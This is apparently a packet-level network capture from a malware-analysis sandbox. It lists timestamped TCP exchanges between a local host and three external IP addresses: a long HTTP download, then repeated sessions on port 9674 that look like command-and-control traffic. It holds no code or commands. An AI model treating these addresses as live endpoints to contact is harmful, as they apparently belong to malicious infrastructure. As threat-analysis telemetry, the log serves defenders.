                                                                                                                                                                                                Oct 29, 2024 16:31:43.671907902 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:43.671924114 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:43.671930075 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:43.671983957 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:43.671988010 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:43.672003984 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:43.672066927 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:43.705085039 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:43.705099106 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:43.705137014 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:43.705152035 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:43.705166101 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:43.705167055 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:43.705224037 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:43.738672972 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:43.738720894 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:43.738739967 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:43.738754988 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:43.738765001 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:43.738775969 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:43.738816977 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:43.738858938 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:43.772562027 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:43.772597075 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:43.772612095 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:43.772645950 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:43.772660971 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:43.772667885 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:43.772708893 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:43.824759007 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:43.824836016 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:43.824846983 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:43.824870110 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:43.824881077 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:43.824923038 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:43.824954987 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:43.837964058 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:43.838036060 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:43.838049889 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:43.838059902 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:43.838093996 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:43.871216059 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:43.871237040 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:43.871249914 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:43.871263981 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:43.871323109 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:43.904807091 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:43.904874086 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:43.904879093 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:43.904889107 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:43.904901981 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:43.904952049 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:43.904969931 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:43.905025005 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:43.937612057 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:43.937664032 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:43.937681913 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:43.937693119 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:43.937714100 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:43.937767029 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:43.937774897 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:43.970829964 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:43.970849037 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:43.970861912 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:43.970911980 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:43.970925093 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:43.970937014 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:43.970988035 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:44.004148006 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:44.004160881 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:44.004172087 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:44.004213095 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:44.004225016 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:44.004231930 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:44.004285097 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:44.037595987 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:44.037631989 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:44.037638903 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:44.037647963 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:44.037655115 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:44.037661076 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:44.037700891 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:44.037744999 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:44.070384026 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:44.070405006 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:44.070456028 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:44.070488930 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:44.070523977 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:44.070534945 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:44.070571899 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:44.070615053 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:44.070625067 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:44.070662022 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:44.103811026 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:44.103857994 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:44.103869915 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:44.103902102 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:44.103948116 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:44.103946924 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:44.103960037 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:44.104011059 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:44.136806965 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:44.136873007 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:44.136888027 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:44.136898994 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:44.136929989 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:44.169948101 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:44.170001984 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:44.170003891 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:44.170015097 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:44.170026064 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:44.170048952 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:44.170058966 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:44.170061111 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:44.170074940 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:44.203203917 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:44.203233957 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:44.203246117 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:44.203267097 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:44.203289986 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:44.203291893 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:44.203305960 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:44.203340054 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:44.236920118 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:44.236938953 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:44.236968994 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:44.236984968 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:44.236999989 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:44.237014055 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:44.237025976 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:44.237056971 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:44.237102032 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:44.237102032 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:44.269800901 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:44.269833088 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:44.269853115 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:44.269886971 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:44.269895077 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:44.269927025 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:44.270072937 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:44.304503918 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:44.304517031 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:44.304527044 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:44.304696083 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:44.305188894 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:44.305201054 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:44.305238962 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:44.336137056 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:44.336148977 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:44.336158991 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:44.336210012 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:44.336237907 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:44.336250067 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:44.336303949 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:44.369699955 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:44.369710922 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:44.369728088 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:44.369740009 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:44.369750023 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:44.369761944 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:44.369777918 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:44.369779110 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:44.369818926 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:44.402637959 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:44.402658939 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:44.402673006 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:44.402684927 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:44.402704954 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:44.402739048 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:44.403032064 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:44.403043985 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:44.403084993 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:44.435951948 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:44.435971022 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:44.435982943 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:44.436026096 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:44.436048031 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:44.436063051 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:44.436103106 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:44.468769073 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:44.468790054 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:44.468801022 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:44.468830109 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:44.468878031 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:44.468897104 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:44.468908072 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:44.468919039 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:44.468947887 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:44.764710903 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:44.765059948 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:44.765136003 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:44.765958071 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:44.766015053 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:44.768776894 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:44.768832922 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:44.886713982 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:51.988866091 CET491769674192.168.2.22192.3.101.193
                                                                                                                                                                                                Oct 29, 2024 16:31:51.994611025 CET967449176192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:51.994682074 CET491769674192.168.2.22192.3.101.193
                                                                                                                                                                                                Oct 29, 2024 16:31:52.007678986 CET491769674192.168.2.22192.3.101.193
                                                                                                                                                                                                Oct 29, 2024 16:31:52.013417959 CET967449176192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:52.681118011 CET967449176192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:52.711755991 CET967449176192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:52.711828947 CET491769674192.168.2.22192.3.101.193
                                                                                                                                                                                                Oct 29, 2024 16:31:52.715594053 CET491769674192.168.2.22192.3.101.193
                                                                                                                                                                                                Oct 29, 2024 16:31:52.725820065 CET967449176192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:52.725876093 CET491769674192.168.2.22192.3.101.193
                                                                                                                                                                                                Oct 29, 2024 16:31:52.731326103 CET967449176192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:52.903137922 CET967449176192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:52.904635906 CET491769674192.168.2.22192.3.101.193
                                                                                                                                                                                                Oct 29, 2024 16:31:52.910139084 CET967449176192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:53.096978903 CET967449176192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:53.129657030 CET967449176192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:53.129746914 CET491769674192.168.2.22192.3.101.193
                                                                                                                                                                                                Oct 29, 2024 16:31:53.137092113 CET491779674192.168.2.22192.3.101.193
                                                                                                                                                                                                Oct 29, 2024 16:31:53.142674923 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:53.142750025 CET491779674192.168.2.22192.3.101.193
                                                                                                                                                                                                Oct 29, 2024 16:31:53.146039009 CET491779674192.168.2.22192.3.101.193
                                                                                                                                                                                                Oct 29, 2024 16:31:53.151501894 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:53.186873913 CET4917880192.168.2.22178.237.33.50
                                                                                                                                                                                                Oct 29, 2024 16:31:53.192414999 CET8049178178.237.33.50192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:53.192483902 CET4917880192.168.2.22178.237.33.50
                                                                                                                                                                                                Oct 29, 2024 16:31:53.192702055 CET4917880192.168.2.22178.237.33.50
                                                                                                                                                                                                Oct 29, 2024 16:31:53.198291063 CET8049178178.237.33.50192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:53.824328899 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:53.859098911 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:53.859180927 CET491779674192.168.2.22192.3.101.193
                                                                                                                                                                                                Oct 29, 2024 16:31:53.866024971 CET491779674192.168.2.22192.3.101.193
                                                                                                                                                                                                Oct 29, 2024 16:31:53.871354103 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:53.871419907 CET491779674192.168.2.22192.3.101.193
                                                                                                                                                                                                Oct 29, 2024 16:31:53.876698971 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:54.040267944 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:54.040285110 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:54.040354013 CET491779674192.168.2.22192.3.101.193
                                                                                                                                                                                                Oct 29, 2024 16:31:54.040405035 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:54.040417910 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:54.040429115 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:54.040455103 CET491779674192.168.2.22192.3.101.193
                                                                                                                                                                                                Oct 29, 2024 16:31:54.040785074 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:54.040796041 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:54.040807009 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:54.040817976 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:54.040838957 CET491779674192.168.2.22192.3.101.193
                                                                                                                                                                                                Oct 29, 2024 16:31:54.040864944 CET491779674192.168.2.22192.3.101.193
                                                                                                                                                                                                Oct 29, 2024 16:31:54.041414976 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:54.041425943 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:54.041476965 CET491779674192.168.2.22192.3.101.193
                                                                                                                                                                                                Oct 29, 2024 16:31:54.041589975 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:54.046549082 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:54.046607018 CET491779674192.168.2.22192.3.101.193
                                                                                                                                                                                                Oct 29, 2024 16:31:54.063584089 CET8049178178.237.33.50192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:54.063788891 CET4917880192.168.2.22178.237.33.50
                                                                                                                                                                                                Oct 29, 2024 16:31:54.074525118 CET491779674192.168.2.22192.3.101.193
                                                                                                                                                                                                Oct 29, 2024 16:31:54.085673094 CET491769674192.168.2.22192.3.101.193
                                                                                                                                                                                                Oct 29, 2024 16:31:54.091388941 CET967449176192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:54.160167933 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:54.160188913 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:54.160201073 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:54.160288095 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:54.160300016 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:54.160311937 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:54.160326004 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:54.160353899 CET491779674192.168.2.22192.3.101.193
                                                                                                                                                                                                Oct 29, 2024 16:31:54.160353899 CET491779674192.168.2.22192.3.101.193
                                                                                                                                                                                                Oct 29, 2024 16:31:54.160353899 CET491779674192.168.2.22192.3.101.193
                                                                                                                                                                                                Oct 29, 2024 16:31:54.160696030 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:54.160710096 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:54.160722017 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:54.160737991 CET491779674192.168.2.22192.3.101.193
                                                                                                                                                                                                Oct 29, 2024 16:31:54.160763025 CET491779674192.168.2.22192.3.101.193
                                                                                                                                                                                                Oct 29, 2024 16:31:54.160795927 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:54.160808086 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:54.160819054 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:54.160841942 CET491779674192.168.2.22192.3.101.193
                                                                                                                                                                                                Oct 29, 2024 16:31:54.162647963 CET491779674192.168.2.22192.3.101.193
                                                                                                                                                                                                Oct 29, 2024 16:31:54.277883053 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:54.277915955 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:54.277930975 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:54.277946949 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:54.278091908 CET491779674192.168.2.22192.3.101.193
                                                                                                                                                                                                Oct 29, 2024 16:31:54.278091908 CET491779674192.168.2.22192.3.101.193
                                                                                                                                                                                                Oct 29, 2024 16:31:54.279099941 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:54.279164076 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:54.279175997 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:54.279205084 CET491779674192.168.2.22192.3.101.193
                                                                                                                                                                                                Oct 29, 2024 16:31:54.279273987 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:54.279285908 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:54.279297113 CET967449177192.3.101.193192.168.2.22
